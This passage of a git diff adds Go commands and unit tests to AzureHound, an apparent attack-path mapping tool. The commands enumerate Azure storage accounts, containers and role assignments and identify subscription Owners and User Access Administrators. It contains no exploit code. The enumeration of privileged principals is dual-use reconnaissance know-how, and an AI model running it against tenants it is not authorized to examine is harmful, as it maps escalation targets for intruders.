not") + } +} diff --git a/cmd/list-storage-account-role-assignments.go b/cmd/list-storage-account-role-assignments.go new file mode 100644 index 0000000..af97baf --- /dev/null +++ b/cmd/list-storage-account-role-assignments.go @@ -0,0 +1,136 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listStorageAccountRoleAssignment) +} + +var listStorageAccountRoleAssignment = &cobra.Command{ + Use: "storage-account-role-assignments", + Long: "Lists Azure Storage Account Role Assignments", + Run: listStorageAccountRoleAssignmentsImpl, + SilenceUsage: true, +} + +func listStorageAccountRoleAssignmentsImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure storage account role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listStorageAccountRoleAssignments(ctx, azClient, listStorageAccounts(ctx, azClient, subscriptions)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listStorageAccountRoleAssignments(ctx context.Context, client client.AzureClient, storageAccounts <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), storageAccounts) { + if storageAccount, ok := result.(AzureWrapper).Data.(models.StorageAccount); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating storage account role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, storageAccount.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + storageAccountRoleAssignments = models.AzureRoleAssignments{ + ObjectId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this storage account", "storageAccountId", id) + } else { + roleDefinitionId := path.Base(item.Ok.Properties.RoleDefinitionId) + + storageAccountRoleAssignment := models.AzureRoleAssignment{ + Assignee: item.Ok, + ObjectId: id, + RoleDefinitionId: roleDefinitionId, + } + log.V(2).Info("found storage account role assignment", "storageAccountRoleAssignment", storageAccountRoleAssignment) + count++ + storageAccountRoleAssignments.RoleAssignments = append(storageAccountRoleAssignments.RoleAssignments, storageAccountRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZStorageAccountRoleAssignment, + Data: storageAccountRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing storage account role assignments", "storageAccountId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all storage account role assignments") + }() + + return out +} diff --git a/cmd/list-storage-accounts.go b/cmd/list-storage-accounts.go new file mode 100644 index 0000000..541938b --- /dev/null +++ b/cmd/list-storage-accounts.go @@ -0,0 +1,127 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listStorageAccountsCmd) +} + +var listStorageAccountsCmd = &cobra.Command{ + Use: "storage-accounts", + Long: "Lists Azure Storage Accounts", + Run: listStorageAccountsCmdImpl, + SilenceUsage: true, +} + +func listStorageAccountsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure storage accounts...") + start := time.Now() + stream := listStorageAccounts(ctx, azClient, listSubscriptions(ctx, azClient)) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listStorageAccounts(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating storage accounts", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.SubscriptionId); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + count := 0 + for item := range client.ListAzureStorageAccounts(ctx, id) { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing storage accounts for this subscription", "subscriptionId", id) + } else { + storageAccount := models.StorageAccount{ + StorageAccount: item.Ok, + SubscriptionId: "/subscriptions/" + id, + ResourceGroupId: item.Ok.ResourceGroupId(), + ResourceGroupName: item.Ok.ResourceGroupName(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found storage account", "storageAccount", storageAccount) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZStorageAccount, + Data: storageAccount, + }); !ok { + return + } + } + } + log.V(1).Info("finished listing storage accounts", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all storage accounts") + }() + + return out +} diff --git a/cmd/list-storage-containers.go b/cmd/list-storage-containers.go new file mode 100644 index 0000000..8578bf6 --- /dev/null +++ b/cmd/list-storage-containers.go @@ -0,0 +1,135 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listStorageContainersCmd) +} + +var listStorageContainersCmd = &cobra.Command{ + Use: "storage-containers", + Long: "Lists Azure Storage Containers", + Run: listStorageContainersCmdImpl, + SilenceUsage: true, +} + +func listStorageContainersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure storage containers...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + storageAccounts := listStorageAccounts(ctx, azClient, subscriptions) + stream := listStorageContainers(ctx, azClient, storageAccounts) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listStorageContainers(ctx context.Context, client client.AzureClient, storageAccounts <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan interface{}) + // The original size of the demuxxer cascaded into error messages for a lot of collection steps. + // Decreasing the demuxxer size only here is sufficient to prevent the cascade + // The error message with higher values for size is + // "The request was throttled." + // See issue #7: https://github.com/bloodhoundad/azurehound/issues/7 + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + for result := range pipeline.OrDone(ctx.Done(), storageAccounts) { + if storageAccount, ok := result.(AzureWrapper).Data.(models.StorageAccount); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating storage containers", "result", result) + return + } else { + if ok := pipeline.SendAny(ctx.Done(), ids, storageAccount); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for stAccount := range stream { + count := 0 + for item := range client.ListAzureStorageContainers(ctx, stAccount.(models.StorageAccount).SubscriptionId, stAccount.(models.StorageAccount).ResourceGroupName, stAccount.(models.StorageAccount).Name, "", "deleted", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing storage containers for this subscription", "subscriptionId", stAccount.(models.StorageAccount).SubscriptionId, "storageAccountName", stAccount.(models.StorageAccount).Name) + } else { + storageContainer := models.StorageContainer{ + StorageContainer: item.Ok, + StorageAccountId: stAccount.(models.StorageAccount).StorageAccount.Id, + SubscriptionId: "/subscriptions/" + stAccount.(models.StorageAccount).SubscriptionId, + ResourceGroupId: item.Ok.ResourceGroupId(), + ResourceGroupName: item.Ok.ResourceGroupName(), + TenantId: client.TenantInfo().TenantId, + } + log.V(2).Info("found storage container", "storageContainer", storageContainer) + count++ + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZStorageContainer, + Data: storageContainer, + }); !ok { + return + } + } + log.V(1).Info("finished listing storage containers", "subscriptionId", stAccount.(models.StorageAccount).SubscriptionId, "count", count) + } + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all storage containers") + }() + + return out +} diff --git a/cmd/list-subscription-owners.go b/cmd/list-subscription-owners.go new file mode 100644 index 0000000..b351b8e --- /dev/null +++ b/cmd/list-subscription-owners.go @@ -0,0 +1,108 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listSubscriptionOwnersCmd) +} + +var listSubscriptionOwnersCmd = &cobra.Command{ + Use: "subscription-owners", + Long: "Lists Azure Subscription Owners", + Run: listSubscriptionOwnersCmdImpl, + SilenceUsage: true, +} + +func listSubscriptionOwnersCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure subscription owners...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + roleAssignments := listSubscriptionRoleAssignments(ctx, azClient, subscriptions) + stream := listSubscriptionOwners(ctx, azClient, roleAssignments) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listSubscriptionOwners(ctx context.Context, client client.AzureClient, roleAssignments <-chan interface{}) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + + for result := range pipeline.OrDone(ctx.Done(), roleAssignments) { + if roleAssignments, ok := result.(AzureWrapper).Data.(models.SubscriptionRoleAssignments); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating subscription owners", "result", result) + return + } else { + var ( + subscriptionOwners = models.SubscriptionOwners{ + SubscriptionId: roleAssignments.SubscriptionId, + } + count = 0 + ) + for _, item := range roleAssignments.RoleAssignments { + roleDefinitionId := path.Base(item.RoleAssignment.Properties.RoleDefinitionId) + + if roleDefinitionId == constants.OwnerRoleID { + subscriptionOwner := models.SubscriptionOwner{ + Owner: item.RoleAssignment, + SubscriptionId: item.SubscriptionId, + } + log.V(2).Info("found subscription owner", "subscriptionOwner", subscriptionOwner) + count++ + subscriptionOwners.Owners = append(subscriptionOwners.Owners, subscriptionOwner) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZSubscriptionOwner, + Data: subscriptionOwners, + }); !ok { + return + } + log.V(1).Info("finished listing subscription owners", "subscriptionId", roleAssignments.SubscriptionId, "count", count) + } + } + }() + + return out +} diff --git a/cmd/list-subscription-owners_test.go b/cmd/list-subscription-owners_test.go new file mode 100644 index 0000000..7850fef --- /dev/null +++ b/cmd/list-subscription-owners_test.go @@ -0,0 +1,78 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListSubscriptionOwners(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockRoleAssignmentsChannel := make(chan interface{}) + mockTenant := azure.Tenant{} + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + channel := listSubscriptionOwners(ctx, mockClient, mockRoleAssignmentsChannel) + + go func() { + defer close(mockRoleAssignmentsChannel) + + mockRoleAssignmentsChannel <- AzureWrapper{ + Data: models.SubscriptionRoleAssignments{ + SubscriptionId: "foo", + RoleAssignments: []models.SubscriptionRoleAssignment{ + { + RoleAssignment: azure.RoleAssignment{ + Name: constants.OwnerRoleID, + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + }, + }, + }, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if _, ok := wrapper.Data.(models.SubscriptionOwners); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.SubscriptionOwners{}) + } + + if _, ok := <-channel; ok { + t.Error("should not have recieved from channel") + } +} diff --git a/cmd/list-subscription-role-assignments.go b/cmd/list-subscription-role-assignments.go new file mode 100644 index 0000000..09ef036 --- /dev/null +++ b/cmd/list-subscription-role-assignments.go @@ -0,0 +1,132 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "sync" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/config" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listSubscriptionRoleAssignmentsCmd) +} + +var listSubscriptionRoleAssignmentsCmd = &cobra.Command{ + Use: "subscription-role-assignments", + Long: "Lists Subscription Role Assignments", + Run: listSubscriptionRoleAssignmentsCmdImpl, + SilenceUsage: true, +} + +func listSubscriptionRoleAssignmentsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure subscription role assignments...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + stream := listSubscriptionRoleAssignments(ctx, azClient, subscriptions) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listSubscriptionRoleAssignments(ctx context.Context, client client.AzureClient, subscriptions <-chan interface{}) <-chan interface{} { + var ( + out = make(chan interface{}) + ids = make(chan string) + streams = pipeline.Demux(ctx.Done(), ids, config.ColStreamCount.Value().(int)) + wg sync.WaitGroup + ) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(ids) + + for result := range pipeline.OrDone(ctx.Done(), subscriptions) { + if subscription, ok := result.(AzureWrapper).Data.(models.Subscription); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating subscription role assignments", "result", result) + return + } else { + if ok := pipeline.Send(ctx.Done(), ids, subscription.Id); !ok { + return + } + } + } + }() + + wg.Add(len(streams)) + for i := range streams { + stream := streams[i] + go func() { + defer panicrecovery.PanicRecovery() + defer wg.Done() + for id := range stream { + var ( + subscriptionRoleAssignments = models.SubscriptionRoleAssignments{ + SubscriptionId: id, + } + count = 0 + ) + for item := range client.ListRoleAssignmentsForResource(ctx, id, "atScope()", "") { + if item.Error != nil { + log.Error(item.Error, "unable to continue processing role assignments for this subscription", "subscriptionId", id) + } else { + subscriptionRoleAssignment := models.SubscriptionRoleAssignment{ + SubscriptionId: id, + RoleAssignment: item.Ok, + } + log.V(2).Info("found subscription role assignment", "subscriptionRoleAssignment", subscriptionRoleAssignment) + count++ + subscriptionRoleAssignments.RoleAssignments = append(subscriptionRoleAssignments.RoleAssignments, subscriptionRoleAssignment) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZSubscriptionRoleAssignment, + Data: subscriptionRoleAssignments, + }); !ok { + return + } + log.V(1).Info("finished listing subscription role assignments", "subscriptionId", id, "count", count) + } + }() + } + + go func() { + wg.Wait() + close(out) + log.Info("finished listing all subscription role assignments") + }() + + return out +} diff --git a/cmd/list-subscription-role-assignments_test.go b/cmd/list-subscription-role-assignments_test.go new file mode 100644 index 0000000..73a74d8 --- /dev/null +++ b/cmd/list-subscription-role-assignments_test.go @@ -0,0 +1,114 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + setupLogger() +} + +func TestListSubscriptionRoleAssignments(t *testing.T) { + ctrl := gomock.NewController(t) + defer ctrl.Finish() + ctx := context.Background() + + mockClient := mocks.NewMockAzureClient(ctrl) + + mockSubscriptionsChannel := make(chan interface{}) + mockSubscriptionRoleAssignmentChannel := make(chan client.AzureResult[azure.RoleAssignment]) + mockSubscriptionRoleAssignmentChannel2 := make(chan client.AzureResult[azure.RoleAssignment]) + + mockTenant := azure.Tenant{} + mockError := fmt.Errorf("I'm an error") + mockClient.EXPECT().TenantInfo().Return(mockTenant).AnyTimes() + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockSubscriptionRoleAssignmentChannel).Times(1) + mockClient.EXPECT().ListRoleAssignmentsForResource(gomock.Any(), gomock.Any(), gomock.Any(), gomock.Any()).Return(mockSubscriptionRoleAssignmentChannel2).Times(1) + channel := listSubscriptionRoleAssignments(ctx, mockClient, mockSubscriptionsChannel) + + go func() { + defer close(mockSubscriptionsChannel) + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + mockSubscriptionsChannel <- AzureWrapper{ + Data: models.Subscription{}, + } + }() + go func() { + defer close(mockSubscriptionRoleAssignmentChannel) + mockSubscriptionRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.ContributorRoleID, + }, + }, + } + mockSubscriptionRoleAssignmentChannel <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + }() + go func() { + defer close(mockSubscriptionRoleAssignmentChannel2) + mockSubscriptionRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Ok: azure.RoleAssignment{ + Properties: azure.RoleAssignmentPropertiesWithScope{ + RoleDefinitionId: constants.OwnerRoleID, + }, + }, + } + mockSubscriptionRoleAssignmentChannel2 <- client.AzureResult[azure.RoleAssignment]{ + Error: mockError, + } + }() + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.SubscriptionRoleAssignments); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.SubscriptionRoleAssignments{}) + } else if len(data.RoleAssignments) != 2 { + t.Errorf("got %v, want %v", len(data.RoleAssignments), 2) + } + + if result, ok := <-channel; !ok { + t.Fatalf("failed to receive from channel") + } else if wrapper, ok := result.(AzureWrapper); !ok { + t.Errorf("failed type assertion: got %T, want %T", result, AzureWrapper{}) + } else if data, ok := wrapper.Data.(models.SubscriptionRoleAssignments); !ok { + t.Errorf("failed type assertion: got %T, want %T", wrapper.Data, models.SubscriptionRoleAssignments{}) + } else if len(data.RoleAssignments) != 1 { + t.Errorf("got %v, want %v", len(data.RoleAssignments), 2) + } +} diff --git a/cmd/list-subscription-user-access-admins.go b/cmd/list-subscription-user-access-admins.go new file mode 100644 index 0000000..c3f78fa --- /dev/null +++ b/cmd/list-subscription-user-access-admins.go @@ -0,0 +1,109 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "fmt" + "os" + "os/signal" + "path" + "time" + + "github.com/bloodhoundad/azurehound/v2/client" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/enums" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/panicrecovery" + "github.com/bloodhoundad/azurehound/v2/pipeline" + "github.com/spf13/cobra" +) + +func init() { + listRootCmd.AddCommand(listSubscriptionUserAccessAdminsCmd) +} + +var listSubscriptionUserAccessAdminsCmd = &cobra.Command{ + Use: "subscription-user-access-admins", + Long: "Lists Azure Subscription User Access Admins", + Run: listSubscriptionUserAccessAdminsCmdImpl, + SilenceUsage: true, +} + +func listSubscriptionUserAccessAdminsCmdImpl(cmd *cobra.Command, args []string) { + ctx, stop := signal.NotifyContext(cmd.Context(), os.Interrupt, os.Kill) + defer gracefulShutdown(stop) + + log.V(1).Info("testing connections") + azClient := connectAndCreateClient() + log.Info("collecting azure subscription user access admins...") + start := time.Now() + subscriptions := listSubscriptions(ctx, azClient) + roleAssignments := listSubscriptionRoleAssignments(ctx, azClient, subscriptions) + stream := listSubscriptionUserAccessAdmins(ctx, azClient, roleAssignments) + panicrecovery.HandleBubbledPanic(ctx, stop, log) + outputStream(ctx, stream) + duration := time.Since(start) + log.Info("collection completed", "duration", duration.String()) +} + +func listSubscriptionUserAccessAdmins(ctx context.Context, client client.AzureClient, vmRoleAssignments <-chan interface{}) <-chan interface{} { + out := make(chan interface{}) + + go func() { + defer panicrecovery.PanicRecovery() + defer close(out) + + for result := range pipeline.OrDone(ctx.Done(), vmRoleAssignments) { + if roleAssignments, ok := result.(AzureWrapper).Data.(models.SubscriptionRoleAssignments); !ok { + log.Error(fmt.Errorf("failed type assertion"), "unable to continue enumerating subscription user access admins", "result", result) + return + } else { + var ( + subscriptionUserAccessAdmins = models.SubscriptionUserAccessAdmins{ + SubscriptionId: roleAssignments.SubscriptionId, + } + count = 0 + ) + for _, item := range roleAssignments.RoleAssignments { + roleDefinitionId := path.Base(item.RoleAssignment.Properties.RoleDefinitionId) + + if roleDefinitionId == constants.UserAccessAdminRoleID { + subscriptionUserAccessAdmin := models.SubscriptionUserAccessAdmin{ + UserAccessAdmin: item.RoleAssignment, + SubscriptionId: item.SubscriptionId, + } + log.V(2).Info("found subscription user access admin", "subscriptionUserAccessAdmin", subscriptionUserAccessAdmin) + count++ + subscriptionUserAccessAdmins.UserAccessAdmins = append(subscriptionUserAccessAdmins.UserAccessAdmins, subscriptionUserAccessAdmin) + } + } + if ok := pipeline.SendAny(ctx.Done(), out, AzureWrapper{ + Kind: enums.KindAZSubscriptionUserAccessAdmin, + Data: subscriptionUserAccessAdmins, + }); !ok { + return + } + log.V(1).Info("finished listing subscription user access admins", "subscriptionId", roleAssignments.SubscriptionId, "count", count) + } + } + log.Info("finished listing all subscription user access admins") + }() + + return out +} diff --git a/cmd/list-subscription-user-access-admins_test.go b/cmd/list-subscription-user-access-admins_test.go new file mode 100644 index 0000000..1a6a8dc --- /dev/null +++ b/cmd/list-subscription-user-access-admins_test.go @@ -0,0 +1,78 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package cmd + +import ( + "context" + "testing" + + "github.com/bloodhoundad/azurehound/v2/client/mocks" + "github.com/bloodhoundad/azurehound/v2/constants" + "github.com/bloodhoundad/azurehound/v2/models" + "github.com/bloodhoundad/azurehound/v2/models/azure" + "go.uber.org/mock/gomock" +) + +func init() { + 